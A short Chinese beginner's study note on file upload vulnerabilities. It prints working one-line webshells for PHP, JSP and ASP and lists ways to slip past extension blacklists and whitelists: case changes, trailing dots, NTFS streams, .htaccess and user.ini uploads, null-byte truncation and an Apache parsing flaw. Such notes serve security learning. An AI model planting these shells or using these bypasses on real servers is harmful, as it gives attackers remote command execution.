day2
什么是文件上传?
文件上传指用户在相应的权限下上传正常的图片或者文件内容。
什么是文件上传漏洞?
简单来说,文件上传漏洞指用户超过其权限,绕过限制上传了不允许上传的内容,这里上传的文件可以是木马、病毒、恶意脚本或者webshell等
最常见的一个webshell就是php一句话木马:
<?php
@eval($_POST[1]);
?>
jsp:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
asp:
<%eval request("x")%>
造成文件上传的原因
1.对于上传文件的后缀名没有做较为严格的限制
2.对于上传的mimetype没有做检查
3.权限上没有对上传的目录设置不可执行权限
4.服务器对上传文件或者指定目录的行为没有做限制
文件上传漏洞
1.黑名单:禁止某些种类的文件进行上传。 假如为 .php .py .java
2.白名单:只允许某些种类的文件进行上传。 假如为 .jpg .png .gif
黑白名单的判别:上传自己随便定义的类型,假如为xxxx.jpg,如果他给我拦截下来说明这种类型的文件不允许上传,那么它应该是一个白名单
如果上传成功说明它是黑名单
如何绕过黑名单
假如php文件被加入了黑名单 .php <?php @eval ($_POST[1]);?>
1.大小写 Php!=php .Php和.php是不一样的
2.加点加空格 例如 .php与.php.是不一样的 .php与.php空格也是不一样的文件
3.解析一个别名 例如 .php .php3 .php4 .phtml
4.ntfs流 .php::$DATA
5.配置文件的上传 .htaccess(假如将jpg解析为php) user.ini
如何绕过白名单
1.%00做截断 xxx.php%00.jpg(上传时是从后往前格式为jpg允许上传,解析时从前往后,这样就成功把php文件上传了上去) 2.解析漏洞 apache xx.jpg/ .php(直接将jpg文件解析成php文件,使得木马成功执行
)
要拿shell不是把木马上传上去就行了!
执行命令
1.我们要能够上传木马文件
2.我们要能访问到我们的木马文件
3.我们要能够解析我们的恶意文件(图片马)
小白的学习心得,如有不足还请各位师傅指教!